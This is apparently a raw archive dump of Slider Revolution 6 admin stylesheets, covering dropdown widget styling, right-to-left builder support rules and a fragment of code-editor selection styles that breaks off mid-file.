> .ddTP_ROs {max-height: 200px;overflow-y: auto; } .ddTP_C .ddTP_RO[role=group] {padding: 0; } .ddTP_C .ddTP_RO[aria-disabled=true] {color: #b7bbc0; } .ddTP_C .ddTP_RO[aria-selected=true] {background-color: #ddd; } .ddTP_RO .ddTP_RO {padding-left: 1em; } .ddTP_RO .ddTP_RO .ddTP_R__group {padding-left: 0; } .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -1em;padding-left: 2em; } .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -2em;padding-left: 3em; } .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -3em;padding-left: 4em; } .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -4em;padding-left: 5em; } .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO .ddTP_RO {margin-left: -5em;padding-left: 6em; } .ddTP_RO--highlighted[aria-selected] {background-color: #5897fb;color: white; } .ddTP_R__group {cursor: default;display: block;padding: 6px; } /* FROM BASICS.CSS */ .rs_overview .ddTP_C, #rb_tlw #addon_overviewheader .ddTP_C { vertical-align: top; margin-right: 40px; box-sizing: content-box; padding-right: 25px; height:50px; font-weight: 500} .rs_overview .ddTP_C.ddTP_C--nomargin, #rb_tlw #addon_overviewheader .ddTP_C.ddTP_C--nomargin { margin-right: 0px; } .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__arrow, #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__arrow { height: 50px; } .rs_overview .ddTP_C .ddTP_S, #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 17px; color: #797b7e; background: transparent } .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__rendered { color:#797b7e; line-height: 50px; vertical-align: top } #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__rendered { color:#797b7e; line-height: 50px; vertical-align: top; font-size:17px; } .rs_overview .ddTP_C .ddTP_S--single .ddTP_S__arrow b { border-color: #797b7e transparent transparent transparent } #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__arrow b {border-color: #888 transparent transparent transparent;border-style: solid;border-width: 5px 4px 0 4px;height: 0;left: 50%;margin-left: -4px;margin-top: -2px;position: absolute;top: 50%;width: 0; } .rs_overview .ddTP_C:hover .ddTP_S--single .ddTP_S__arrow b, #rb_tlw #addon_overviewheader .ddTP_C:hover .ddTP_S--single .ddTP_S__arrow b { border-color: #fff transparent transparent transparent } .rs_overview .ddTP_C:hover .ddTP_S__rendered, #rb_tlw #addon_overviewheader .ddTP_C:hover .ddTP_S__rendered { color: #fff !important; } #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__arrow { background:transparent;line-height: 50px;vertical-align: top;height: 50px !important; margin-left:10px; border:none !important} #rb_tlw #addon_overviewheader .ddTP.ddTP_C.ddTP-fake.ddTP_C--autowidthinmodal { margin-right:0px !important} /* BLUE STYLE */ .rs_overview .ddTP_C.ddTP_C--blue { width: 100% !important; background: #00529d; line-height: 20px; border-radius: 4px; box-sizing: border-box; height: auto; padding:0px !important; margin:0px;} .rs_overview .ddTP_C.ddTP_C--blue .selection, .rs_overview .ddTP_C.ddTP_C--blue .ddTP_S{ width: 100% !important; } .rs_overview .ddTP_C.ddTP_C--blue .ddTP_SCH__field { color: #fff !important; line-height: 20px; margin-top: 0px; } .rs_overview .ddTP_C.ddTP_C--blue .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 12px; color: #fff; background: transparent } .rs_overview .ddTP_C--blue .ddTP_S__rendered { color:#fff; line-height: 20px; vertical-align: top ; } .rs_overview .ddTP_C--blue .ddTP_S--single .ddTP_S__rendered { color:#fff; line-height: 22px; vertical-align: top ; padding:5px 10px 0px; display: block} .rs_overview .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice { color:#fff; line-height: 20px; vertical-align: top; background: #006dd2; border-radius: 4px; border: none; } .rs_overview .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice__remove { color:#fff; line-height: 21px; vertical-align: top; float: left;font-weight: 800;font-size: 8px; } .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--below, .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--above { width: 267px !important; min-width:267px; background: #006dd2; margin-left:-5px; margin-top:5px;} .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_ROs { } .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO { color: rgba(255,255,255,0.65); } .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted { background: #00529c; color: #fff; } .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted[aria-selected=true], .ddTP_C .ddTP_RO[aria-selected=true] { background: #1a7cd7;color: #fff; } .rs_overview .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow { height: 30px; ;} .rs_overview .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow b { border-color: #fff transparent transparent transparent } .ddTP_C.ddTP_C--blue .ddTP_SCH--dropdown .ddTP_SCH__field { background: #00529d; color: #fff; } /* AUTOWIDTH CHANGES */ .ddTP.ddTP_C.ddTP_C--autowidth, #rb_tlw #addon_overviewheader .ddTP.ddTP_C.ddTP_C--autowidthinmodal { width: auto !important; } .ddTP_C.ddTP_C--autowidth .ddTP-dropdown, #rb_tlw #addon_overviewheader .ddTP.ddTP_C.ddTP_C--autowidthinmodal .ddTP-dropdown { min-width: 150px; } #objectlibrary.rs_overview .ddTP_C { margin-right: 0px; } ._TPRB_ .olibrary_custom_tagselector_wrap .ddTP.ddTP_C.ddTP_C--default { box-sizing:border-box; width: 116px !important; min-width: 116px !important; max-width: 116px !important; } ._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C, ._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow { height:16px; vertical-align: top; color:#b7bbc0; text-align: right} ._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__rendered { font-size: 13px; line-height: 16px; color:#b7bbc0; min-width: 90px; max-width:90px;} ._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow { top:-1px; } ._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow b { margin-top:-1px; border-color:#b7bbc0 transparent transparent transparent; } ._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C, ._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow, ._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__rendered, ._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C, ._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow, ._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__rendered { color:#fff; } ._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow b, ._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow b { border-color:#fff transparent transparent transparent; } #ol_modulessorting .ddTP_C .ddTP_S--single, #addon_overviewheader .ddTP_C .ddTP_S--single, #modulesoverviewheader .ddTP_C .ddTP_S--single, #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single, #modulesoverviewfooter .ddTP_C .ddTP_S--single { height: 50px; } .ddTP_C--open { z-index: 100010; } span.ddTP_C.ddTP_C--inmodal.ddTP_C--open {z-index: 1000005;} span.ddTP_C.ddTP_C--autowidthinmodal.ddTP_C--open {z-index: 1000005;} .ddTP_R, .ddTP_C .ddTP_R > .ddTP_ROs { max-height: 250px } .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field { line-height: 20px; border: none !important; border-radius: 0px; box-shadow: none !important; outline: none !important; margin:0px; padding:0px 0px 0px 5px; color: #b7bbc0; font-size: 13px; font-weight: 500; } .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field { background: #2a2c2f;line-height: 37px; padding: 0px 10px; } .ddTP_C .ddTP-dropdown { background-color: #2a2c2f; box-shadow: none; border:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);} .ddTP_C.ddTP_C--min90 .ddTP-dropdown { min-width: 90px } .ddTP_C.ddTP_C--min120 .ddTP-dropdown { min-width: 120px } .ddTP_C.ddTP_C--minl120 .ddTP-dropdown { min-width: 120px; transform: translateX(-52px); } .ddTP_C.ddTP_C--min150 .ddTP-dropdown { min-width: 150px } .ddTP_C .ddTP_RO { color:#b7bbc0; font-size: 13px; padding: 6px 10px; width: 100%;overflow: hidden;position: relative;box-sizing: border-box;white-space: nowrap;text-overflow: ellipsis;} .ddTP_C .ddTP_RO.ddTP_RO--highlighted { color: #fff; background: #3f444a !important; } .ddTP_C .ddTP_RO.ddTP_RO--highlighted[aria-selected=true], .ddTP_C .ddTP_RO[aria-selected=true] { color: #fff; background: #006dd2 !important; } .ddTP_C .ddTP_RO[aria-selected=true] span i { color: #fff !important; } .ddTP_C .ddTP_RO[aria-disabled=true] { display: none !important; } .ddTP_R__group { background: #343639;color: #777c80; font-size: 13px; font-weight: 500; text-transform: capitalize; padding:6px 15px; margin-top:10px;margin-bottom:5px} .rb-basicforms .ddTP_C .ddTP_S { box-shadow: none; outline: none; border: none; border-radius: 3px; width: 185px; padding: 0px; margin: 0px 0px 10px; } .rb-basicforms oneshort .ddTP_C .ddTP_S, .rb-basicforms oneshort .ddTP_C, .rb-basicforms .ddTP_C.shortfield .ddTP_S, .rb-basicforms .ddTP_C .ddTP_S.shortfield, .rb-basicforms .shortfield .ddTP_C .ddTP_S, .rb-basicforms onelong .ddTP_C .ddTP_S, .rb-basicforms onelong .ddTP_C, #rb_tlw oneshort .ddTP_C .ddTP_S, #rb_tlw oneshort .ddTP_C, #rb_tlw .ddTP_C.shortfield .ddTP_S, #rb_tlw .ddTP_C .ddTP_S.shortfield, #rb_tlw .shortfield .ddTP_C .ddTP_S, #rb_tlw onelong .ddTP_C .ddTP_S, #rb_tlw onelong .ddTP_C {width:68px !important; min-width: 68px !important} /* FROM BUILDER.CSS */ #rb_tlw .ddTP_C .ddTP_S { box-shadow:none;outline:none;border: none;border-radius: 3px; width:185px;padding:0px; margin:0px 0px 10px; } #rb_tlw longoption .ddTP_C .ddTP_S { width: 60px; } #rb_tlw onethird .ddTP_C .ddTP_S { width: 50px !important; } #rb_tlw .ddTP_C .ddTP_S {background-color: #2a2c2f;border: none;border-radius: 0px; font-size: 12px;color: #000;font-weight: 400;vertical-align: top;min-height: 30px; width:185px;} #rb_tlw .input_with_buttonextenstion .ddTP_C .ddTP_S { width: 154px; } #rb_tlw .ddTP_C .ddTP_S--single .ddTP_S__rendered { line-height: 30px } #rb_tlw .__inmodal .ddTP_C .ddTP_S { width: 100%; } #rb_tlw .ddTP_C .ddTP_S .ddTP_S__rendered {border-radius:0px;color: #b7bbc0; font-size:13px; font-weight: 500; } #rb_tlw .ddTP_C .ddTP_S .ddTP_S__rendered:hover { color: #fff; } #rb_tlw .ddTP_C .ddTP_S.ddTP_S--multiple .ddTP_S__rendered { line-height:20px; background:#2a2c2f;padding: 0px 5px; box-sizing: border-box;margin-top: 0px; min-height: 20px; vertical-align: top } #rb_tlw .ddTP_C .ddTP_S .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold; } #rb_tlw .ddTP_C .ddTP_S .ddTP_S__placeholder {color: #b7bbc0; } #rb_tlw .ddTP_C .ddTP_S--single .ddTP_S__arrow { top: 0px !important; right: 0px; border-left:1px solid #323438; width:30px !important; height:30px !important; background: #2a2c2f} #rb_tlw .input_with_buttonextenstion .ddTP_C .ddTP_S--single .ddTP_S__arrow { right: 35px; } #rb_tlw .ddTP_C .ddTP_S .ddTP_S__arrow b { border-top-color:#777c80; color: #777c80; cursor:pointer} #rb_tlw .ddTP:hover .selection .ddTP_S__arrow b { border-top-color:#b7bbc0 !important; color: #b7bbc0; } #rb_tlw .ddTP_C.ddTP_C--open .ddTP_S--single .ddTP_S__arrow b { border-bottom-color:#777c80;} #rb_tlw .ddTP_C.ddTP_C--open:hover .ddTP_S--single .ddTP_S__arrow b { border-bottom-color:#b7bbc0 !important;} #rb_tlw .ddTP_C .ddTP_S {padding: 0px 10px;border-radius: 4px; box-sizing: border-box; display: inline-block} #rb_tlw .ddTP_S.ddTP_S--multiple { padding: 5px 0px 0px; border-radius: 4px;} #rb_tlw .ddTP_C {min-width: 100px;margin-right: 5px; margin-bottom: 10px;} #rb_tlw .ddTP_C .ddTP_SCH.ddTP_SCH--inline { height: 20px; line-height: 20px; margin: 0px; } #rb_tlw .ddTP_C .ddTP_S--multiple .ddTP_S__choice { margin:0px 5px 5px 0px; text-align:center; padding:0px 10px 0px 5px; line-height: 20px; border: none; border-radius: 3px; background: #006dd2; color: #fff;font-size: 12px; font-weight: 500;vertical-align: top; } #rb_tlw .ddTP_C .ddTP_S--multiple .ddTP_S__choice.isplaceholder {color: #b7bbc0;font-size: 13px;background: transparent; padding:0px 5px;} #rb_tlw .ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove { color: #fff; margin-right: 5px; font-size: 8px; font-weight: 800;line-height: 20px; vertical-align: top; float:left;} #rb_tlw .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field { line-height: 20px; border: none !important; border-radius: 0px; box-shadow: none !important; outline: none !important; margin:0px; padding:0px 0px 0px 5px; color: #b7bbc0; font-size: 13px; font-weight: 500; } #rb_tlw .ddTP_C.ddTP_C--focus .ddTP_SCH--inline .ddTP_SCH__field { max-width: 185px; margin-top:-4px;} #rb_tlw .ddTP_C { margin-top:0px; margin-bottom: 0px; width:185px !important; margin-right:0px; display: inline-block} #rb_tlw .ddTP_C.ddTP_C--inlongoption { width:105px !important; } #rb_tlw .__inmodal .ddTP_C { width: 100% !important; } #rb_tlw .ddTP_C--smalltos2, #rb_tlw .ddTP_C--smalltos2 .ddTP-dropdown--below {min-width: 50px; } #rb_tlw .ddTP_C--smalltos2 .ddTP_S {width: 60px;} #rb_tlw .ddTP_C--smalltos2-suffix, #rb_tlw .ddTP_C--smalltos2-suffix .ddTP-dropdown--below {min-width: 56px; } #rb_tlw .ddTP_C--smalltos2-suffix .ddTP_S {width: 56px; border-radius: 0px 4px 4px 0px; } #rb_tlw #rs_ne_cssmeta_config .ddTP_C { width: 125px !important; } #rb_tlw #rs_ne_cssmeta_config .ddTP_C .ddTP_S { width: 125px; } #ol_footer .rs_fh_right .ddTP_C .ddTP_S--single { line-height: 50px; height: 50px; } /* Extensions for Labels , Groups, after adding Hierarchy in Layer Target Lists*/ li.ddTP_RO--highlighted:first-child .ddTP_R__group { margin-top:0px;} li.ddTP_RO:first-child .ddTP_R__group { margin-top:0px;} .ddTP_S__rendered span.niddsr { margin-left:0px !important}admin/assets/css/builder-rtl.css000060400000034256151724235750012706 0ustar00 /************************************************ * REVOLUTION 6.0.0 BUILDER CLASSES RTL SUPPORT * @version: 1.0 (12.06.2017) * @author ThemePunch ************************************************/ /* GENERAL */ body.rtl .rfloated { float: left } body.rtl #responsive_infos_toolbar .material-icons, body.rtl #objectlibrary .material-icons, body.rtl #rb_tlw .material-icons, body.rtl #rs_overview .material-icons, body.rtl #filedrop .material-icons, .material-icons { } body.rtl #rb_tlw .icon_trigger_wrap .icon_trigger i, body.rtl #rb_tlw .icon_trigger_wrap .icon_switcher i, body.rtl .shortcut_cmdctrl, body.rtl #the_container .do_title_layer_icon, body.rtl #the_container .do_title_slide_icon, body.rtl .olti_icon.material-icons, body.rtl #obj_fil_favorite i.material-icons, body.rtl #obj_updatefromserver i.material-icons { margin-right: 0px; margin-left: 5px; } body.rtl .basic_action_coloredbutton i, body.rtl .basic_action_button i, body.rtl .sle_description i.material-icons, body.rtl .toolbar_btn .material-icons, body.rtl #rs_overview i.material-icons.reset_select, body.rtl #objectlibrary i.material-icons.reset_select, /*body.rtl .olti_content .tponoffwrap,*/ body.rtl .olti_btn i.material-icons, body.rtl #ol_results .rsl_breadcrumb i.material-icons, body.rtl .ol_filter_listelement i.material-icons, body.rtl .rso_scrollmenuitem i.material-icons, body.rtl .rbm_darkbutton i.material-icons, body.rtl .mdl_group_member i.material-icons, body.rtl .mdl_group_member i.fa__icons, body.rtl .lal_group_member i.material-icons, body.rtl .mdl_group_header i.fa__icons, body.rtl .mdl_group_header i.material-icons, body.rtl .lal_group_header i.material-icons, body.rtl .box_with_icon i.material-icons { margin-right: 0px; margin-left: 10px; } body.rtl .quick_colorchange_dark { left: 40px; right: auto; } body.rtl .quick_colorchange_light { left: 18px; right: auto; } body.rtl .qse_boxshadow { left: auto; right: 50px; } body.rtl .mdl_group_header i.material-icons.accordiondrop, body.rtl .lal_group_header i.material-icons.accordiondrop { left: 5px; right: auto; } body.rtl i.rbm_symbol.material-icons, body.rtl label_sub, body.rtl .label_sub, body.rtl label_short, body.rtl .label_short, body.rtl label_a_left, body.rtl .label_a_left, body.rtl label_a_right, body.rtl .label_a_right, body.rtl xy_label, body.rtl .xy_label, body.rtl label_full, body.rtl .label_full, body.rtl label_a, body.rtl .label_a, body.rtl .form_collector .form_inner_header .material-icons { margin-right: 0px; margin-left: 15px; } body.rtl label_sub, body.rtl .label_sub, body.rtl label_short, body.rtl .label_short, body.rtl label_a_left, body.rtl .label_a_left, body.rtl label_a_right, body.rtl .label_a_right, body.rtl xy_label, body.rtl .xy_label, body.rtl label_full, body.rtl .label_full, body.rtl label_a, body.rtl .label_a { text-align: left; } body.rtl #do_title_layer, body.rtl #do_title_slide, body.rtl #do_title_layer_not_selected { margin-left: 20px; margin-right: 0px; } body.rtl .fake_onff_on, body.rtl .tponoff_on { left: 122px; } body.rtl #rb_tlw .ddTP_C .ddTP_S, body.rtl .ddTP_C .ddTP_RO { text-align: right } body.rtl #slide_thumb_repeater { left: auto; right: 105px; } body.rtl .slidetab_toolbox { left: 0px; right: auto; } /* body.rtl .fake_onff_off, body.rtl .tponoff_off { left: 58px; } body.rtl .fake_onff_off:after, body.rtl .tponoff_off:after { left: 45px; }*/ body.rtl .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__rendered { padding-left: 0px; padding-right: 0px; } body.rtl .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__arrow { } body.rtl .rs_overview .ddTP_C { padding-left: 25px; padding-right: 0px; } body.rtl #rb_tlw .ddTP_C .ddTP_S--single .ddTP_S__arrow { left: 0px; right: auto; border-right: 1px solid #323438; border-left: none } body.rtl label_icon, label_bigicon { margin-left: 5px; margin-right: 0px; } body.rtl label_icon.ui_centeralign, body.rtl label_icon.ui_bottomalign, body.rtl label_icon.ui_middlealign, body.rtl label_icon.ui_leftalign, body.rtl label_icon.ui_topalign, body.rtl label_icon.ui_rightalign { margin-right: 0px; margin-left: 0px } body.rtl label_icon.singlerow, body.rtl onelong .label_mi.material-icons:first-child, body.rtl onelong label_icon:first-child { margin-right: 60px; } body.rtl onelong { padding-left: 10px; padding-right: 0px; } body.rtl longoption label_a, body.rtl .basic_action_coloredbutton, body.rtl .basic_action_button { text-align: right } body.rtl longoption .tponoffwrap, body.rtl longoption .fake_on_button { float: left; margin:9px 0px 0px 10px;} body.rtl .lp10 { padding-left: 0px; padding-right: 10px; } body.rtl longoption i.material-icons { margin-right: 15px; margin-left: 0px; } body.rtl longoption label_a { margin-right: 10px; } body.rtl #rb_tlw .radiooption label_sub, body.rtl #rb_tlw .radiooption .label_sub { padding-left: 0px; padding-right:30px;} body.rtl #rb_tlw .radiooption label_sub:before, body.rtl #rb_tlw .radiooption .label_sub:before { left: auto; right: 0px; } body.rtl oneabsolute { left: auto; right: 0px; } body.rtl #rb_tlw .radiooption input[type=radio] { margin: 5px -2px 0px 10px; } body.rtl labelhalf { text-align: left; } body.rtl .emc_toggle_inner.ps>.rs__scrollbar-y-rail { left: 0px !important;right: auto !important; } body.rtl .rbm_content.ps>.rs__scrollbar-y-rail, body.rtl #quick_style_scrollable.ps>.rs__scrollbar-y-rail, body.rtl #layeraction_list.ps>.rs__scrollbar-y-rail, body.rtl #rbm_addon_details.ps>.rs__scrollbar-y-rail, body.rtl #rbm_addonlist.ps>.rs__scrollbar-y-rail { right: 0px !important; } body.rtl .mr10 { margin-right: 0px; margin-left: 10px; } body.rtl .buttonextenstion { left: 0px; right: auto; } body.rtl #rb_tlw .input_with_buttonextenstion .ddTP_C .ddTP_S--single .ddTP_S__arrow { left: 35px; } body.rtl #slide_bg_image_path { float: right; } body.rtl .basic_action_button.onlyicon i { margin-right: 6px; margin-left: 0px; } body.rtl .bg_align_xy { right: 68px; left: auto; } /* OVERVIEW PAGE */ body.rtl #rs_overview_menu { padding-right: 75px; padding-left: 0px; margin-right: -20px; margin-left: 0px; } body.rtl .rso_scrollmenuitem { margin-right: 0px; margin-left: 50px; } body.rtl #new_blank_slider { margin-right:0px; } body.rtl #add_on_management { margin-right:20px; } body.rtl .overview_elements { margin-right: 0px; margin-left: -30px; } body.rtl .rs_library_element { margin-right: 0px; margin-left: 20px; } body.rtl .ov-pagination { margin-right: 0px; margin-left: 20px; } body.rtl .page_button { margin-right: 0px; margin-left: 5px; } body.rtl .rs_fh_right { float: left; } body.rtl .rs_fh_left { float: right; } body.rtl grayiconbox { margin-right: 0px; margin-left:20px;} body.rtl blueiconbox.blueiconongray { margin-right: -34px; margin-left:20px;} body.rtl .pli_left { padding-right: 0px; padding-left: 80px; border-left: 1px solid #323438; border-right: none } body.rtl .pli_right { padding-left: 0px; padding-right: 30px; } body.rtl .system_requirement, body.rtl .pli_update_history li { padding-left: 0px; padding-right: 40px; } body.rtl .pli_update_history ul { padding-left: 0px; padding-right: 20px; } body.rtl .pli_update_history li:before { float: right; left:auto; right:17px; margin-right:0px; margin-left:20px;} body.rtl .pli_update_history .newfeature:before { margin-right: 0px; margin-left: 20px } body.rtl .system_requirement { padding: 0px; } body.rtl #rs_overview .system_requirement>i.material-icons { margin-left: 10px; margin-right: 0px; } body.rtl .system_requirement darkiconbox { left: 30px; right: auto; } body.rtl .box_with_icon:focus, .box_with_icon { text-align: right; } body.rtl .rs_overview .ddTP_C { margin-left: 40px; margin-right: 0px; } body.rtl .rsle_folder { left: 0px; right: auto; text-align:left; padding-left:10px; padding-right:0px;} body.rtl .rs_library_element .title_container { right: 0px; left: auto; } body.rtl .show_rsle { left: 0px; padding-left: 10px; padding-right: 0px; right: auto; text-align: left;} body.rtl #decmod_do_btn { margin-left: 10px !important; margin-right: 0px !important} body.rtl .rbm_darkhalfbutton i.material-icons { margin-right: 0px; margin-left: 10px; } body.rtl #rs_ne_ce_wrap { left: 0px; right:auto;} body.rtl #rs_ne_helper_wrap { padding-right: 30px; } body.rtl #rs_ne_meta_values_inner .rs_ne_nskin_tbar_basic { right: auto; left: 0px; text-align: left; } body.rtl #rs_ne_cssmeta_config label_a { text-align: right } body.rtl #no_layer_selected .material-icons { margin-left: 10px; margin-right: 0px } /* OBJECT LIBRARY CHANGES */ body.rtl #ol_filters_wrap { right: 0px; left: auto; } body.rtl #ol_right { padding: 90px 300px 70px 0px; } body.rtl #objectlibrary .rb_the_logo { right: 15px; left: auto; } body.rtl #ol_header { padding: 10px 300px 10px 30px;} body.rtl #obj_updatefromserver { margin-left: 0px; margin-right: 20px; } body.rtl #ol_close { margin-left: 0px; margin-right: 20px; } body.rtl #ol_footer { left: auto; right: 0px; } body.rtl .olibrary_item { margin-right: 0px; margin-left: 20px; } body.rtl #objectlibrary.rs_overview .ddTP_C { margin-right: 40px; margin-left: 0px; } body.rtl #keyframe_list_el_frame_0 .keyframe_CP_wrap { right: 280px; } body.rtl .load_anim_value_wrap { padding: 10px 0px 0px; } /* EDITOR */ body.rtl .toolbar_rightoriented { left:0px; right:auto;} /*body.rtl #main_hor_toolbar, body.rtl #timeline_settings, body.rtl #the_editor { padding: 0px 0px 0px 320px; }*/ /*body.rtl #the_right_toolbar { left: 0px; right: auto; }*/ /*body.rtl #save_slider { left: 0px; right: auto; }*/ body.rtl #timeline_settings, body.rtl #timeline, body.rtl #frame_copypaste_tool, body.rtl .keyframe_CP_wrap, body.rtl .tponoffwrap.off { direction: ltr; } body.rtl .quick_style_wrap, body.rtl .mht_inner { border-left: 1px solid #202224; border-right:none;} body.rtl .layertoolbar_wrap { margin-left: -440px; } body.rtl .toolbar_listelement, body.rtl .toolkit_selector, body.rtl .screen_selector, body.rtl .outicon_dd_rwap, body.rtl .tool_dd_wrap, body.rtl .slide_list_element, body.rtl .sle_description { text-align: right } body.rtl .toolbar_dd_subdrop { left: auto;right: 100%; } body.rtl .outicon_dd_rwap, body.rtl .tool_dd_wrap { left: auto; right: 0px; } body.rtl .sle_thumb { right: 200px; left: auto; } body.rtl .shortcuttext { left: 16px; right: auto; float:left;} body.rtl .toolbar_listelement .material-icons, body.rtl .toolkit_selector .material-icons, body.rtl .screen_selector .material-icons { margin-left: 15px; margin-right: 0px; } body.rtl #_layer_settings .tool_drop { padding-right: 20px; padding-left: 0px; } body.rtl .toolbar_rightoriented .tool_dd_wrap { margin-right: -49px; margin-left: 0px; } body.rtl .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-left: 0px; margin-right: -99px; } body.rtl .toolkit_selector .near_me_addon { right: 28px; left: auto; } body.rtl .icon_trigger_wrap, body.rtl .on_off_navig_wrap { left: 0px; right: auto; } body.rtl #kenburn_timeline { margin-left: 9px; margin-right: 0px; } body.rtl #kenburn_simulator { margin-left: 4px; margin-right:0px;} body.rtl .input_presets_dropdown { left: 0px; right: auto;} body.rtl .input_preset i.material-icons{ margin-left:10px !important; margin-right:0px !important} body.rtl li .right-divided-icon { left: 0px; right: auto;} body.rtl li.added_slide_transition >i.transition-replace { left: 30px; border-left: 1px solid rgba(0,0,0,0.2);; border-right: none; right: auto;} body.rtl .right-divided-icon { left: 0px; right: auto;} body.rtl #screen_selector_top_list .screen_selector .tponoffwrap { left:10px; right:auto;} /* ADD ONS */ body.rtl #rbm_addon_details .rs__scrollbar-x-rail { left: 0px !important; } body.rtl i.rbm_close.material-icons { left: 0px; right: auto; } body.rtl #check_addon_updates { right: 820px; left: auto; } body.rtl #rbm_addon_details { left: 0px; right: auto; } body.rtl #rbm_configpanel_savebtn { left: 0px; right: auto; } /* CSS EDITOR */ body.rtl #form_module_advanced_api { direction: ltr; } body.rtl #form_module_advanced_api label_a { margin-left: 0px; margin-right: 15px; } body.rtl #form_module_advanced_api .basic_action_button i { margin-left: 0px; margin-right: 5px } /*body.rtl .emc_toggle_wrap { left: -40px; right:auto; border-right:1px solid #000; transition:left 0.5s; border-left:0px;} body.rtl .emc_toggle_wrap.open { left: -351px; right:auto;} body.rtl #emc_toggle { left: 0px; right: auto; }*/ /* ACTIONS */ body.rtl .sla_actionname { max-width: 151px; float: left; } body.rtl .sla_icon.material-icons { margin-left: 10px; margin-right: 5px; } /* METAAS */ body.rtl #mdl_group_wrap_menu { text-align: left } /* FRAME ANIMATIONS */ body.rtl #le_keyframes_list_innerwrap li:nth-child(2) { right: 173px; left: auto; } body.rtl #le_keyframes_list_innerwrap li:nth-child(2) .frame_list_title { border-radius: 4px 0px 0px 4px; border-right: 2px solid #323438; border-left: none } body.rtl #le_keyframes_list_innerwrap li:nth-child(1) .frame_list_title { border-radius: 0px 4px 4px 0px; } body.rtl #le_keyframes_list_innerwrap .frame_list_id { text-align: left } body.rtl .frame_list_title { margin-left: 0px; margin-right:5px; } body.rtl .animation_drop_arrow { left: 0px; right: auto; } body.rtl .custom_layer_animation_toolbar { left: 5px; right: auto; } body.rtl .add_frame_after, body.rtl .add_frame_before { left: 0px; right: auto; } body.rtl .add_frame_after:after, body.rtl .add_frame_before:after { border-width: 10px 0px 10px 13px; border-color: transparent transparent transparent #006dd2; right: -7rpx; left: auto; } body.rtl #rso_menu_notices { left: 94px; right: auto; } body.rtl #rs_notices_wrapper { left: 0px; right:auto; } /* LAYERS */ body.rtl ._group_lock_toggle_ { left: 0px; right: auto; } body.rtl #reset_lock_media_size_layer .icon_trigger_wrap { left: auto; right: -10px; top: 3px; } body.rtl .undo_redo_wrap .tool_dd_wrap:before { left: 0px; right: auto; background: linear-gradient(to left, rgba(41,44,46,0) 0%, rgba(41,44,46,1) 100%); } @media only screen and (max-width: 1365px) { body.rtl #add_layer_toolbar_wrap { margin-left: 10px; margin-right:0px } } @media only screen and (max-width: 1325px) { body.rtl .toolbar_rightoriented #toolkit_selector_wrap .tool_dd_wrap {margin-right: -99px; margin-left:0px;} body.rtl .toolbar_rightoriented .tool_dd_wrap {margin-right: -129px;margin-left:0px;} body.rtl .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-right: -159px !important; margin-left:0px !important;} } admin/assets/css/index.php000060400000000033151724235750011551 0ustar00 span::selection, .RevMirror-line > span > span::selection { background: #d7d4f0; } .RevMirror-line::-moz-selection, .RevMirror-line > span::-moz-selection, .RevMirror-line > span > span::-moz-selection { background: #d7d4f0; } .cm-searching { background-color: #ffa; background-color: rgba(255, 255, 0, .4); } /* 